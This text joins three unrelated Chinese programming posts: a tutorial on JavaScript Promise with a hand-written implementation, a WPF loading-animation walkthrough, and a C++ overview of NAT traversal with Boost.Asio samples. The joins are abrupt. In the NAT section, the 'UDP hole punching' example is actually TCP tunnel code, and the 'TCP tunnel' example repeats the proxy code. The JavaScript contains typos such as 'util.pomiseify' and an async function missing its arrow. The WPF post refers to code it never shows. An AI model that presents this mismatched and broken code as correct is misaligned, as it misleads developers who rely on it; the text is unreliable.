2024年9月

写在前面:

大家好,我是
山里看瓜
,该系列文章是为了帮助大家不管面试还是开发对前端的一些基本但是很重要的知识点认识更加深入和全面。

想写这个系列文章的初衷是:我发现前端的很多基本知识,使用起来很简单,定义看起来也很简单。很多人你在问他相关问题的时候,他也能说上几句。但是为什么用?怎么用会更好?原理是什么?让你实现你怎么做?这些问题很多人都是一知半解,某些知识点我本人也是如此,只知道去用,甚至有时候都不知道为什么用,更别说原理,秉承的原则就是程序跟我要么有一个能跑,至于怎么跑那雨我无瓜...

本篇我们从各个方面来介绍
Promise
,把一些你知道的不知道的点全都梳理一遍,让你面试中讲得透彻,表现亮眼;让你在开发中使用更加知根知底。

我们将从以下几个方面进行讲解学习:

Promise
是什么?

定义

  1. mdn描述:一个
    Promise
    是一个代理,它代表一个在创建
    promise
    时不一定已知的值。它允许你将处理程序与异步操作的最终成功值或失败原因关联起来。这使得异步方法可以像同步方法一样返回值:异步方法不会立即返回最终值,而是返回一个 promise,以便在将来的某个时间点提供该值。
  2. 总结来说:
    Promise
    是ES6规范提出的一个技术,用于在JavaScript中进行异步编程(读写文件、数据库、请求、定时器)的解决方案,原来的方案是使用回调嵌套的方式,容易造成回到地狱(后面我们会说到)。
  3. 具体来说:
    • 语法上来说:
      Promise
      是一个构造函数
    • 功能上来说:
      Promise
      对象用来封装一个异步操作并可以获取其成功或者失败的值
    • promise 中既可以异步任务,也可以时同步任务

Promise
的状态

状态是 promise 实例对象中的一个属性:PromiseState,该属性有三种值:

  1. 待定(pending):初始状态,既没有被兑现,也没有被拒绝,待定状态。
  2. 完成(resolved / fullfiled ):意味着操作成功完成。
  3. 失败(rejected):意味着异步操作失败。

状态变化有且只有两种情况:

  1. pending
    变为
    resolved / fullfiled
  2. pending
    变为
    rejected

状态变化说明:

  • 有且只会有这两种变化情况,并且 promise 对象的状态只会改变一次,从 pending 改变为成功或者失败状态。
  • 无论状态变为成功或者失败,始终都会有一个结果数据(跟是否有返回无关)。
  • 执行成功后的结果只一般称为
    value
    ,执行失败的结果值一般称为
    reason

Promise
的结果

Promise 的结果属性:

  • 我们在实例对象身上能看到
    PromiseResult
    这个属性,它保存着异步任务执行成功或者失败的结果。

怎么修改 promise 的结果?

  • resolve 函数:修改为成功状态(fullfiled)。
  • reject 函数:修改为失败状态(rejected)。

Promise
的工作流程

为什么要用
Promise
?

  1. 让我们在处理异步操作时,能够更加灵活地指定回调函数。
    • 以前回调函数方式,必须在启动异步任务前就指定回调函数;
    • promise:启动异步任务 ——> 返回 promise 对象 ——> 给 promise 对象绑定回调;
    • promise方式,我们甚至可以在异步任务结束后再指定,并且可以指定多个回调。
  2. 支持链式调用,可以解决回调地狱问题。
    • 回调地狱:回调函数嵌套调用,外部回调函数异步执行的结果是嵌套的回调执行的条件。
    • 回调地狱的缺点:不利于阅读,不利于异常处理,维护起来比较复杂。

如何使用
Promise
—— 方法参数详细说明

Promise
构造器函数:Promise(executor) {}

  • executor 函数:执行器 (resolve, reject) => {}
    • resolve 函数: 内部定义成功时我们调用的函数 value => {}
    • reject 函数:内部定义失败时我们调用的函数 reason => {}
  • 说明:executor 会在 Promise 内部立即同步调用,异步操作在执行器中执行,
    即执行器函数并不是异步执行

Promise
原型方法

  1. Promise.prototype.then 方法:(onResolved, onRejected) => {}
    • onResolved 函数:成功的回调函数 (value) => {}
    • onRejected 函数:失败的回调函数 (reason) => {}
    • then()总是返回一个新的promise
    • 新promise的结果状态由then指定的回调函数执行的结果决定
      • 抛出错误
      • 返回失败的promise
      • 返回成功的promise
      • 返回其它任何值
  • 说明:这两个方法用于指定得到成功 value 的成功的回调和得到失败 reason 的失败的回调
  • then 方法返回一个新的 promise对象
  1. Promise.prototype.catch 方法:(onRejected) => {}
    • onRejected 函数:失败的回调函数 (reason) => {}

Promise 构造函数本身的方法

  1. Promise.resolve 方法:(value) => {}
    • value:成功的数据或 promise 对象
    • 如果传递的参数为 非 promise 对象,则返回的结果为成功 promise 对象
    • 如果传入的参数为 Promise 对象,则参数的结果决定了 resolve 的结果
  • 说明:返回一个成功/失败的 promise 对象
let p1 = Promise.resolve(520)
let p2 = Promise.resolve(new Promise((resolve, reject) => {
  resolve('OK')
}))  // 这时 p2 状态为成功,成功的值为 'OK'Ï
  1. Promise.reject 方法:(reason) =>{}
    • reason:失败的原因
  • 说明:返回一个失败的 promise 对象
let p = Promise.reject(520)  // 无论传入的是什么,返回的都是一个失败的promise 对象
// 传入什么,失败的结果就是什么
  1. Promise.all 方法:(promises) => {}
    • promises:包含 n 个 promise 的数组
    • 批量/一次性发送多个异步请求
    • 当都成功时, 返回的promise才成功
    • 一旦有一个失败的, 返回的promise就失败了
  • 说明:返回一个新的 promise,只有所有的 promise 都成功时才成功,只要有一个失败了就直接失败
    • 成功的结果时每一个 promise 对象成功结果组成的数组(有顺序)
    • 失败的结果是在这个数组中失败的那个 promise 对象失败的结果
let p1 = new Promise((resolve, reject) => {
  resolve('OK')
})
let p2 = Promise.resolve('Success')
let p3 = Promise.resolve('Success')

const result = Promise.all([p1, p2, p3])
  1. Promise.race 方法:(promises) => {}
    • promises:包含 n 个 promise 的数组
    • race:赛跑/比赛
    • 说明:返回一个新的promise,第一个完成的 promise 的结果状态就是最终的结果状态
let p1 = new Promise((resolve, reject) => {
  setTimeout(() => {
    resolve('OK')
  }, 1000)
})
let p2 = Promise.resolve('Success')
let p3 = Promise.resolve('Success')

const result = Promise.race([p1, p2, p3])  // =>结果为 p2 的结果,因为p2 先改变状态

Promise
在开发中比较常用的技巧

我们在实际开发中,经常遇到需要发多个请求获取数据,当这些请求之前并没有相互依赖时,我们使用正常的
Promise
方式去请求或者使用
async
await
方式请求,都是顺序执行,一个请求在前一个请求完成之后发起,这样非常的低效率,并且性能和体验都非常的差,我们依赖请求数据的页面部分会有长时间空白,用户体验非常差。

这时候我们可以使用
Promise.all()
+
async、await
来同时并发请求,这样请求就可以同时发起,实现一个并行发出的效果。

Promise.all(promises)
方法的结果是一个包含所有异步操作的结果数组,能够一一对应上 promises 数组中的异步操作。

以下是一个简单示例:

// 请求接口数据的方法
const getApiData = async () {
	const [res1, res2, res3] = await Promise.all(
		[
			Api.getData1(),
			Api.getData2(),
			Api.getData3(),
		]
	)
}

几个注意点:

  • 函数内部使用
    await
    时,函数必须使用 async 关键字;
  • 只使用一个
    await
    ,给
    Promise.all()
    使用;
  • 内部请求不要加 await 关键字,否则还是会顺序请求,不能实现并行发起;
  • 因为
    Promise.all()
    的结果是对应内部异步操作的数组,我们可以直接通过数组解构,获取每个请求的结果,方便后续针对请求值做操作。

Promise
风格方法封装举例

  1. fs 模块封装
function mineReadFile (path) {
  return new Promise((resolve, reject) => {
    // 读取文件
    require('fs').readFile(path, (err, data) => {
      // 判断
      if (err) reject(err)
      // 成功
      resolve(data)
    })
  })
}

// 调用
mineReadFile("/file/test.txt").then(value => {
		console.log(value)
	}, reason => {
		console.log(reason)
	});
  1. Ajax 请求封装
function sendAJAX(url) {
  return new Promise((resolve, reject) => {
    const xhr = new XMLHttpRequest()
    // 设置响应数据格式
    xhr.responseType = 'json'
    xhr.open('GET', url)
    xhr.send();
    // 处理结果
    xhr.onreadystatechange = function () {
      if (xhr.readyState === 4) {
        // 判断成功
        if (xhr.status >= 200 && xhr.status < 300) {
          // 成功的结果
          resolve(xhr.response)
        } else {
          reject(xhr.status)
        }
      }
    }
  })
}

 // 调用
sendAJAX('https://api.apiopen.top/getJoke')
.then(value => {
  console.log(value)
}, reason => {
  console.warn(reason)
})

手写
Promise

开始手写之前我们需要先搞清楚 promise 的几个关键问题:

  1. 如何改变 promise 的状态?


    • resolve(value):如果当前是 pending 就会变为 resolved
    • reject(reason):如果当前是 pending 就会变为 rejected
    • 抛出异常:如果当前是 pending 就会变为 rejected
  2. 一个 promise 指定(then方法)多个成功/失败回调函数,都会调用吗?


    • 当 promise 改变为对应状态时都会调用

    let p = new Promise((resolve, reject) => {
      resolve('ok')  // 这里状态改变了,所以下边两个回调都会执行,如果状态不改变,下面的回调都不执行
    })
    
    // 指定回调 - 1
    p.then(value => {
      console.log(value)
    })
    
    // 指定回调 - 2
    p.then(value => {
      alert(value)
    })
    
    
  3. 改变 promise 状态和指定回调函数的顺序是什么样的,谁先执行,谁后执行?

    问题简单描述:promise 代码在运行时,resolve/reject改变状态先执行,还是 then 方法指定回调先执行?


    • 都有可能,正常情况下是先指定回调再改变状态,但也可以先改变状态再指定回调


      • 当执行器函数中的任务是一个同步任务(直接调 resolve()/reject()) 的时候,先改变 promise 状态,再去指定回调函数*

      • 当执行器函数中的任务是一个异步任务的时候,then 方法先执行(指定回调),改变状态后执行

        // 这时是hen 方法先执行(指定回调),改变状态后执行
        let p = new Promise((resolve, reject) => {
          setTimeout(() => {
            resolve('OK')
          }, 1000)
        })
        
        p.then(value => {
          console.log(value)
        })
        
    • 如何先改状态再指定回调?


      • 在执行器中直接调用 resolve()/reject()
      • 延迟更长时间才调用 then()
    • 什么时候才能得到数据(回调函数什么时候执行)?


      • 如果先指定的回调,那当状态发生改变时(调用resolve()/reject()时),回调函数就会调用,得到数据
      • 如果先改变的状态,那当指定函数时(then 方法),回调函数就会调用,得到数据
  4. promise.then() 返回的新 promise 的结果状态有什么决定?


    • 简单表达:由 then() 指定的回调函数执行的结果决定
    • 详细表达:
      • 如果抛出异常,新 promise 变为 rejected,reason 为抛出的异常
      • 如果返回的是非 promise 的任意值,新 promise 变为 resolved,value 为返回的值
      • 如果返回的时另一个新的 promise,此 promise 的结果就会成为新 promise的结果
  5. promise 如何串联多个操作任务?


    • promise 的 then() 返回一个新的promise,可以看成 then() 的链式调用
    • 通过 then 的链式调用串联多个同步/异步任务
  6. promise异常穿透?


    • 当使用 promise 的 then 链式调用时,可以在最后指定失败的回调,
    • 前面任何操作除了异常,都会传到最后失败的回调中处理
  7. 中断 promise 链


    • 当使用 promise 的 then 链式调用时,在中间中断,不再调用后面的回调函数
    • 办法:在回调函数中返回一个 pending 状态的 promise 对象

    let p = new Promise((resolve, reject) => {
    	setTimeout(() => {
            resolve('OK')
        }, 1000)
    })
    
    p.then(value => {
        console.log(111)
        return new Promise(() => {})
    }).then(value => {
        console.log(222)
    })
    

函数方式:封装成一个构造函数

function Promise(executor) {
	// 添加属性
	this.PromiseState = 'pending'
	this.PromiseResult = null
	// 声明属性  因为实例对象不能直接调用onResolve跟onReject 所以下面then中需要先保存在callback里面
	this.callbacks = []
	// 保存实例对象的 this 的值
	const self = this //  常见的变量名有self _this that

	// resolve 函数
	function resolve(data) {
		// 判断状态
		if (self.PromiseState !== 'pending') return
		// console.log(this)  => 这里的this指向window,下面用this的话时直接修改的window
		// 1. 修改对象的状态 (PromiseState)
		self.PromiseState = 'fulfilled'
		// 2. 设置对象结果值 (PromiseResult)
		self.PromiseResult = data
		// 调用成功的回调函数
		setTimeout(() => {
			self.callbacks.forEach((item) => {
				item.onResolved(data)
			})
		})
	}

	// reject 函数
	function reject(data) {
		// 判断状态
		if (self.PromiseState !== 'pending') return
		// 1. 修改对象的状态 (PromiseState)
		self.PromiseState = 'rejected'
		// 2. 设置对象结果值 (PromiseResult)
		self.PromiseResult = data
		// 调用失败的回调函数
		setTimeout(() => {
			self.callbacks.forEach((item) => {
				item.onRejected(data)
			})
		})
	}
	try {
		// 同步调用【执行器函数】
		executor(resolve, reject)
	} catch (e) {
		// 修改 promise 对象状态
		reject(e)
	}
}

// 添加 then 方法
Promise.prototype.then = function (onResolved, onRejected) {
	const self = this
	// 判断回调函数参数
	if (typeof onRejected !== 'function') {
		onRejected = (reason) => {
			throw reason
		}
	}
	if (typeof onResolved !== 'function') {
		onResolved = (value) => value
	}
	return new Promise((resolve, reject) => {
		// 封装函数
		function callback(type) {
			try {
				// 获取回调函数的执行结果
				let result = type(self.PromiseResult)
				// 判断
				if (result instanceof Promise) {
					result.then(
						(v) => {
							resolve(v)
						},
						(r) => {
							reject(r)
						}
					)
				} else {
					// 结果的对象状态为 【成功】
					resolve(result)
				}
			} catch (e) {
				reject(e)
			}
		}
		// 调用回调函数  根据 PromiseState 去调用
		if (this.PromiseState === 'fulfilled') {
			setTimeout(() => {
				callback(onResolved)
			})
		}
		if (this.PromiseState === 'rejected') {
			setTimeout(() => {
				callback(onRejected)
			})
		}
		// 判断 pending 状态
		if (this.PromiseState === 'pending') {
			// 保存回调函数
			this.callbacks.push({
				onResolved: function () {
					callback(onResolved)
				},
				onRejected: function () {
					callback(onRejected)
				},
			})
		}
	})
}

// 添加 catch 方法
Promise.prototype.catch = function (onRejected) {
	return this.then(undefined, onRejected)
}

// 添加 resolve 方法
Promise.resolve = function (value) {
	return new Promise((resolve, reject) => {
		if (value instanceof Promise) {
			value.then(
				(v) => {
					resolve(v)
				},
				(r) => {
					reject(r)
				}
			)
		} else {
			// 状态设置为成功
			resolve(value)
		}
	})
}

// 添加 reject 方法
Promise.reject = function (reason) {
	return new Promise((resolve, reject) => {
		reject(reason)
	})
}

// 添加 all 方法
Promise.all = function (promises) {
	// 声明变量
	let count = 0 // 计数
	let arr = [] // 结果数组
	// 遍历
	return new Promise((resolve, reject) => {
		for (let i = 0; i < promises.length; i++) {
			promises[i].then(
				(v) => {
					// 得知对象的状态是成功
					// 每个promise对象成功都加 1
					count++
					// 将当前每个promise对象成功的结果都存入到数组中
					arr[i] = v
					// 判断
					if (count === promises.length) {
						// 修改状态
						resolve(arr)
					}
				},
				(r) => {
					reject(r)
				}
			)
		}
	})
}

// 添加 race 方法
Promise.race = function (promises) {
	return new Promise((resolve, reject) => {
		for (var i = 0; i < promises.length; i++) {
			promises[i].then(
				(v) => {
					// 修改返回对象的状态为成功
					resolve(v)
				},
				(r) => {
					// 修改返回对象的状态为成功
					reject(r)
				}
			)
		}
	})
}

class 类的方式:封装成一个类

// 封装成类
class Promise {
	//构造方法
	constructor(executor) {
		// 添加属性
		this.PromiseState = 'pending'
		this.PromiseResult = null
		// 声明属性  因为实例对象不能直接调用onResolve跟onReject 所以下面then中需要先保存在callback里面
		this.callbacks = []
		// 保存实例对象的 this 的值
		const self = this //  常见的变量名有self _this that

		// resolve 函数
		function resolve(data) {
			// 判断状态
			if (self.PromiseState !== 'pending') return
			// console.log(this)  => 这里的this指向window,下面用this的话时直接修改的window
			// 1. 修改对象的状态 (PromiseState)
			self.PromiseState = 'fulfilled'
			// 2. 设置对象结果值 (PromiseResult)
			self.PromiseResult = data
			// 调用成功的回调函数
			setTimeout(() => {
				self.callbacks.forEach((item) => {
					item.onResolved(data)
				})
			})
		}

		// reject 函数
		function reject(data) {
			// 判断状态
			if (self.PromiseState !== 'pending') return
			// 1. 修改对象的状态 (PromiseState)
			self.PromiseState = 'rejected'
			// 2. 设置对象结果值 (PromiseResult)
			self.PromiseResult = data
			// 调用失败的回调函数
			setTimeout(() => {
				self.callbacks.forEach((item) => {
					item.onRejected(data)
				})
			})
		}
		try {
			// 同步调用【执行器函数】
			executor(resolve, reject)
		} catch (e) {
			// 修改 promise 对象状态
			reject(e)
		}
	}

	// then 方法封装
	then(onResolved, onRejected) {
		const self = this
		// 判断回调函数参数
		if (typeof onRejected !== 'function') {
			onRejected = (reason) => {
				throw reason
			}
		}
		if (typeof onResolved !== 'function') {
			onResolved = (value) => value
		}
		return new Promise((resolve, reject) => {
			// 封装函数
			function callback(type) {
				try {
					// 获取回调函数的执行结果
					let result = type(self.PromiseResult)
					// 判断
					if (result instanceof Promise) {
						result.then(
							(v) => {
								resolve(v)
							},
							(r) => {
								reject(r)
							}
						)
					} else {
						// 结果的对象状态为 【成功】
						resolve(result)
					}
				} catch (e) {
					reject(e)
				}
			}
			// 调用回调函数  根据 PromiseState 去调用
			if (this.PromiseState === 'fulfilled') {
				setTimeout(() => {
					callback(onResolved)
				})
			}
			if (this.PromiseState === 'rejected') {
				setTimeout(() => {
					callback(onRejected)
				})
			}
			// 判断 pending 状态
			if (this.PromiseState === 'pending') {
				// 保存回调函数
				this.callbacks.push({
					onResolved: function () {
						callback(onResolved)
					},
					onRejected: function () {
						callback(onRejected)
					},
				})
			}
		})
	}

	// catch 方法
	catch(onRejected) {
		return this.then(undefined, onRejected)
	}

	// resolve 方法
	static resolve(value) {
		return new Promise((resolve, reject) => {
			if (value instanceof Promise) {
				value.then(
					(v) => {
						resolve(v)
					},
					(r) => {
						reject(r)
					}
				)
			} else {
				// 状态设置为成功
				resolve(value)
			}
		})
	}

	// reject 方法
	static reject(reason) {
		return new Promise((resolve, reject) => {
			reject(reason)
		})
	}

	// all 方法
	static all(promises) {
		// 声明变量
		let count = 0 // 计数
		let arr = [] // 结果数组
		// 遍历
		return new Promise((resolve, reject) => {
			for (let i = 0; i < promises.length; i++) {
				promises[i].then(
					(v) => {
						// 得知对象的状态是成功
						// 每个promise对象成功都加 1
						count++
						// 将当前每个promise对象成功的结果都存入到数组中
						arr[i] = v
						// 判断
						if (count === promises.length) {
							// 修改状态
							resolve(arr)
						}
					},
					(r) => {
						reject(r)
					}
				)
			}
		})
	}

	//race 方法
	static race(promises) {
		return new Promise((resolve, reject) => {
			for (var i = 0; i < promises.length; i++) {
				promises[i].then(
					(v) => {
						// 修改返回对象的状态为成功
						resolve(v)
					},
					(r) => {
						// 修改返回对象的状态为成功
						reject(r)
					}
				)
			}
		})
	}
}

async

await

  • async/await是消灭异步回调的终极武器(以同步的流程,书写异步的代码)
  • 作用: 简化promise对象的使用, 不用再使用then/catch来指定回调函数
  • 但和Promise并不互斥
  • 反而, 两者相辅相成
  • 执行async函数, 返回promise对象
  • await相当于promise的then
  • try...catch可捕获异常, 相当于promise的catch

async 函数

  1. 函数的返回值为 promise 对象
  2. promise 对象的结果由 async 函数执行的返回值决定

await 表达式

  1. await 右侧的表达式一般为 promise 对象,但也可以时其它的值
  2. 如果表达式是 promise 对象,await 返回的是 promise 成功的值
  3. 如果表达式是其它值,直接将此值作为 await 的返回值Ï

async 和 await结合使用示例:

// resource 1.html 2.html 3.html

const fs = require('fs')

// 回调函数的方式
fs.readFile('./resousrce/1.html', (err, data1) => {
  if (err) throw err
  fs.readFile('./resousrce/2.html', (err, data2) => {
  	if (err) throw err
    fs.readFile('./resousrce/3.html', (err, data3) => {
  		if (err) throw err
      console.log(data1 + data2 + data3)
		})
	})
})
// resource 1.html 2.html 3.html

const fs = require('fs')
const util = require('util')
const mineReadFile = util.pomiseify(fs.readFile)

// async 与 await 结合
async function main() {
  try {
    // 读取第一个文件的内容
  	let data1 = await mineReadFile('./resourse/1.html')
 	 	let data2 = await mineReadFile('./resourse/2.html')
  	let data3 = await mineReadFile('./resourse/3.html')
  
  	console.log(data1 + data2 + data3)
  }catch(e) {
    console.log(e)
  }
}
main()
// async 与 await 结合发送 Ajax 请求
function sendAJAX(url) {
  return new Promise((resolve, reject) => {
    const xhr = new XMLHttpRequest()
    // 设置响应数据格式
    xhr.responseType = 'json'
    xhr.open('GET', url)
    xhr.send();
    // 处理结果
    xhr.onreadystatechange = function () {
      if (xhr.readyState === 4) {
        // 判断成功
        if (xhr.status >= 200 && xhr.status < 300) {
          // 成功的结果
          resolve(xhr.response)
        } else {
          reject(xhr.status)
        }
      }
    }
  })
}

// 段子接口地址:https://api.apiopen.top/getJoke
let btn = document.querySelector('#btn')

btn.addEventListener('click', async function () {
  // 获取段子信息
  let duanzi = await sendAJAX('https://api.apiopen.top/getJoke')
  console.log(duanzi)
})

写在后面

前端的东西其实很多并不难,只是很多人很少去深究,去全面了解,大家都只是学个大概,会用就行;

本系列文章将会全面深入的带你重新夯实前端基础,把一些重要且常用的知识点深入讲解;

希望看完文章的你能有所收货,使用起来更加轻松,面试更加自如亮眼;

我相信能看到这里的人呢,都是想进步想成长的小伙伴,希望在工作小伙伴的升职加薪,在找工作的小伙伴面试顺利,收割offer;

对你有帮助的话给作者点点关注吧,你的支持就是我创作的动力!Peace and love~~

音乐分享

不知道有没有喜欢说唱的小伙伴,作者有个想法,每期文章最后分享一首觉得不错的说唱,当然你觉得好听的歌曲也可以评论区分享给大家。

本期歌曲:《ghost face》—— 法老

  • 最喜欢的一句词:一个穷孩子生活在有钱人的城市,尝试用精神去对抗物质。

运行的效果如下

先引入一下我们需要的库

在nuget上面搜一下"expression.Drawing",安装一下这个包

我们再创建一个Window,引入一下这个包的命名空间

我们设置一下这个加载动画呈现的窗体的样式

        xmlns:ed="http://schemas.microsoft.com/expression/2010/drawing"mc:Ignorable="d"WindowStyle="None"ResizeMode="NoResize"Background="#4C858585"WindowStartupLocation="CenterScreen"AllowsTransparency="True"Loaded="Window_Loaded"Title="Window1" Height="400" Width="400"

然后我们要用到我们添加的库里面的一个圆弧控件

        <ed:Arc x:Name="arc" Height="100" Width="100" StrokeThickness="50" Panel.ZIndex="1"StartAngle="-240" EndAngle="-300" Stretch="None"ArcThicknessUnit="Pixel">
            <ed:Arc.Stroke>
                <RadialGradientBrush GradientOrigin="0.3,0.3" RadiusX="0.7" RadiusY="0.7">
                    <GradientStop Color="#FFFFF00E" Offset="1"/>
                    <GradientStop Color="White" Offset="0"/>
                </RadialGradientBrush>
            </ed:Arc.Stroke>
        </ed:Arc>

背景色设置成一个圆形渐变的原因是为了让这个控件看起来像一个球体,而不是一个圆,得到的效果如下:

再到下面放几个圆球

<StackPanel Orientation="Horizontal" VerticalAlignment="Center" HorizontalAlignment="Center" Width="200" Margin="200,0,0,0">
    <StackPanel x:Name="stackPanel" Orientation="Horizontal" RenderTransformOrigin="0.5,0.5">
    <!--这里是为了后面的动画用,因为我是用blend添加的动画,所以生成的代码如下--> <StackPanel.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform/> <TranslateTransform/> </TransformGroup> </StackPanel.RenderTransform> <Ellipse/> <Ellipse Margin="20,0"/> <Ellipse /> <Ellipse Margin="20,0"/> <Ellipse /> <Ellipse Margin="20,0"/> </StackPanel> </StackPanel>

资源里面添加一下这些球的大小和颜色

        <Style TargetType="{x:Type Ellipse}">
            <Setter Property="Height" Value="20"/>
            <Setter Property="Width" Value="20"/>
            <Setter Property="Fill" Value="#FFFF5800"/>
        </Style>

就会得到下面这个样子

我们再添加一下动画,让这两部分动起来

        <Storyboard x:Key="Storyboard1" RepeatBehavior="Forever" AutoReverse="True">
            <DoubleAnimationUsingKeyFrames Storyboard.TargetName="arc" Storyboard.TargetProperty="(ed:Arc.EndAngle)">
                <EasingDoubleKeyFrame KeyTime="00:00:00" Value="-300"/>
                <EasingDoubleKeyFrame KeyTime="00:00:0.25" Value="-271"/>
            </DoubleAnimationUsingKeyFrames>
            <DoubleAnimationUsingKeyFrames Storyboard.TargetName="arc" Storyboard.TargetProperty="(ed:Arc.StartAngle)">
                <EasingDoubleKeyFrame KeyTime="00:00:00" Value="-240"/>
                <EasingDoubleKeyFrame KeyTime="00:00:0.25" Value="-270"/>
            </DoubleAnimationUsingKeyFrames>
        </Storyboard>
        <Storyboard x:Key="Storyboard2" RepeatBehavior="Forever">
            <DoubleAnimationUsingKeyFrames Storyboard.TargetName="stackPanel" Storyboard.TargetProperty="(UIElement.RenderTransform).(TransformGroup.Children)[3].(TranslateTransform.X)">
                <EasingDoubleKeyFrame KeyTime="00:00:00" Value="0"/>
                <EasingDoubleKeyFrame KeyTime="00:00:01" Value="-78"/>
            </DoubleAnimationUsingKeyFrames>
        </Storyboard>

还需要把这个动画也动起来,在window的loaded事件里面添加下面的代码

        private void Window_Loaded(objectsender, RoutedEventArgs e)
{
var b = FindResource("Storyboard1") asStoryboard;
b.Begin();
var c = FindResource("Storyboard2") asStoryboard;
c.Begin();
}

这个时候运行这个窗体,就会发现已经实现了吃豆豆的效果,但是因为动画是一直在循环,小豆子一直往左边移动的时候,移动到一个位置就不会移动了,动画在重置的时候会让

动画看起来有一个延迟感,我们可以给这豆子的父级添加一个clip,让动画视觉上看起来是连续的(这里可以对比一下添加clip和不添加的效果的区别)

<StackPanel Orientation="Horizontal" VerticalAlignment="Center" HorizontalAlignment="Center" Width="200" Margin="200,0,0,0">
<StackPanel.Clip>
<RectangleGeometry>
<RectangleGeometry.Rect>
<Rect X="0" Y="0" Width="150" Height="40"/>
</RectangleGeometry.Rect>
</RectangleGeometry>
</StackPanel.Clip>
<StackPanel x:Name="stackPanel" Orientation="Horizontal" RenderTransformOrigin="0.5,0.5"> <!--这里是为了后面的动画用,因为我是用blend添加的动画,所以生成的代码如下--> <StackPanel.RenderTransform> <TransformGroup> <ScaleTransform/> <SkewTransform/> <RotateTransform/> <TranslateTransform/> </TransformGroup> </StackPanel.RenderTransform> <Ellipse/> <Ellipse Margin="20,0"/> <Ellipse /> <Ellipse Margin="20,0"/> <Ellipse /> <Ellipse Margin="20,0"/> </StackPanel> </StackPanel>

然后就是怎么把这个效果运用到我们的项目中

我们再添加一个window2,在里面添加一个button

button的click事件代码如下

我们运行window2,点击一下按钮,就会发现3秒钟以后,吃豆豆的动画就消失了,也就是数据加载完成,吃豆豆就不显示了

如果项目里面有很多的地方都要用到这个动画,我们可以添加一个类来专门做这个动画的事情

代码里面的Action就是我们需要耗时的一些操作

所以我们的button的click里面的代码就变成了下面这段代码

好了,到这里这个动画的实现就结束了

项目github地址:
bearhanQ/WPFFramework: Share some experience (github.com)

QQ技术交流群:332035933;

概述

内网穿透是一种技术,用于在私有局域网(LAN)中的设备与外部网络(如互联网)之间建立通信通道,使得外部设备可以访问内网中的服务。由于内网设备通常位于防火墙或 NAT(网络地址转换)设备之后,外部网络无法直接访问它们。因此,内网穿透技术旨在解决这一问题。本文将讨论如何使用 C++ 实现内网穿透技术,并介绍一些常见的实现方式。

一、内网穿透的基本原理

内网穿透的核心思想是通过一个中间服务器(通常位于公网中)来中转内网的请求。内网设备与外网设备通过这个中间服务器进行通信,避开防火墙或 NAT 设备的限制。具体流程包括以下步骤:

  1. 内网设备主动连接到中间服务器
    :由于 NAT 设备允许内部设备主动发起外部连接,因此内网设备可以与位于公网的中间服务器建立连接。
  2. 外网设备向中间服务器发出请求
    :外网设备通过公网 IP 地址访问中间服务器,请求访问内网中的服务。
  3. 中间服务器转发请求
    :中间服务器将外网设备的请求转发给已经连接的内网设备,内网设备响应后再通过中间服务器返回给外网设备。

二、常见的内网穿透技术实现手段

  1. 反向代理(Reverse Proxy)
    反向代理是一种常见的内网穿透方式。使用反向代理时,内网设备主动与中间服务器建立连接,并保持连接的持续性。外网设备通过访问中间服务器获取内网服务。


    • 实现思路

      • 使用 C++ 开发的客户端程序在内网设备上运行,主动连接位于公网的中间服务器(该服务器可以使用 C++ 通过 socket 实现)。
      • 中间服务器充当代理,将外网的请求通过内网设备返回。
    • C++ 示例
      : 下面展示了一个简单的反向代理服务器的基本结构:
      #include <iostream>
      #include <boost/asio.hpp>
      
      using boost::asio::ip::tcp;
      
      void start_server(boost::asio::io_context& io_context, short port) {
          tcp::acceptor acceptor(io_context, tcp::endpoint(tcp::v4(), port));
          while (true) {
              tcp::socket socket(io_context);
              acceptor.accept(socket);
              std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\nHello from the proxy!";
              boost::asio::write(socket, boost::asio::buffer(message));
          }
      }
      
      int main() {
          boost::asio::io_context io_context;
          start_server(io_context, 8080);
          return 0;
      }
      

  2. TCP 隧道(TCP Tunneling)
    TCP 隧道是一种通过中间服务器将外网请求直接转发到内网设备的方法。外网设备与内网设备之间的数据流通过中间服务器进行封装和转发,内网设备将其解封装后处理请求。


    • 实现思路


      • 使用 C++ 实现 TCP 隧道的功能,内网设备和外网设备同时与中间服务器保持连接。
      • 外网设备发送请求时,中间服务器将数据包转发给内网设备处理。
    • C++ 示例


      #include <iostream>
      #include <boost/asio.hpp>
      
      using boost::asio::ip::tcp;
      
      void start_server(boost::asio::io_context& io_context, short port) {
          tcp::acceptor acceptor(io_context, tcp::endpoint(tcp::v4(), port));
          while (true) {
              tcp::socket socket(io_context);
              acceptor.accept(socket);
              std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\nHello from the proxy!";
              boost::asio::write(socket, boost::asio::buffer(message));
          }
      }
      
      int main() {
          boost::asio::io_context io_context;
          start_server(io_context, 8080);
          return 0;
      }
      

  3. UDP 打洞(UDP Hole Punching)
    UDP 打洞是一种广泛使用于 P2P 网络的技术。该技术通过让两个处于不同 NAT 后面的设备同时向一个中间服务器发送 UDP 数据包,从而建立起两者之间的直接通信。


    • 实现思路


      • 使用 C++ 开发内网设备的 UDP 客户端,同时向中间服务器和目标设备发送数据包。
      • 中间服务器在收到来自两个设备的请求后,向双方告知彼此的公网 IP 和端口号,进而双方可以通过该信息直接进行通信。
    • C++ 示例


      #include <iostream>
      #include <boost/asio.hpp>
      
      using boost::asio::ip::tcp;
      
      void tunnel_data(tcp::socket& in_socket, tcp::socket& out_socket) {
          char data[1024];
          boost::system::error_code error;
          size_t length = in_socket.read_some(boost::asio::buffer(data), error);
          if (!error) {
              boost::asio::write(out_socket, boost::asio::buffer(data, length));
          }
      }
      
      int main() {
          boost::asio::io_context io_context;
      
          // Connect to the external client
          tcp::acceptor acceptor(io_context, tcp::endpoint(tcp::v4(), 8888));
          tcp::socket client_socket(io_context);
          acceptor.accept(client_socket);
      
          // Connect to the internal server (i.e., device inside the LAN)
          tcp::resolver resolver(io_context);
          tcp::resolver::results_type endpoints = resolver.resolve("localhost", "80");
          tcp::socket server_socket(io_context);
          boost::asio::connect(server_socket, endpoints);
      
          // Start tunneling data between client and server
          tunnel_data(client_socket, server_socket);
      
          return 0;
      }
      

三、总结

内网穿透技术通过各种手段使得外部设备能够访问位于内网中的服务。通过反向代理、TCP 隧道和 UDP 打洞等技术,我们可以根据不同的网络环境和需求,选择最合适的内网穿透方案。C++ 提供了高效的网络编程支持,可以用来实现这些方案中的每一种。

背景

